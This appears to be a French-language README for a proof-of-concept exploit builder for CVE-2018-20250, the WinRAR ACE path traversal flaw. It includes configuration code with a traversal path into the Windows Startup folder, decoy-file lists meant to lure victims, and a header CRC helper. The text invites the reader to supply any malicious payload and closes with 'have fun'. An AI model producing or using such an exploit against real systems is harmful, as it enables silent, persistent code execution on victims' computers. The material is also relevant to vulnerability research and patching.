
Script d'exploitation automatisé pour CVE-2018-20250 (exécution de code via extraction ACE de WinRAR) qui génère un fichier d'archive malveillant intégrant une charge utile dans le dossier de démarrage Windows.
exploit pour Extraire l'exécution de code de Winrar
poc par Ridter
Comment utiliser ?
Vous devez simplement installer Python 3.7, préparer un fichier malveillant que vous souhaitez exécuter, définir les valeurs souhaitées, ce script d'exploit générera automatiquement le fichier d'archive malveillant !
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
test.rartest.rar, il verra les fichiers hello.txt et world.txt. Vous pouvez également ajouter plus de fichiers, des fichiers plus attractifs.![]()
hi.exe, qui est en réalité un calc.exe. Lorsqu'il redémarrera l'ordinateur, le fichier hi.exe s'exécutera.![]()
Amusez-vous bien ! :)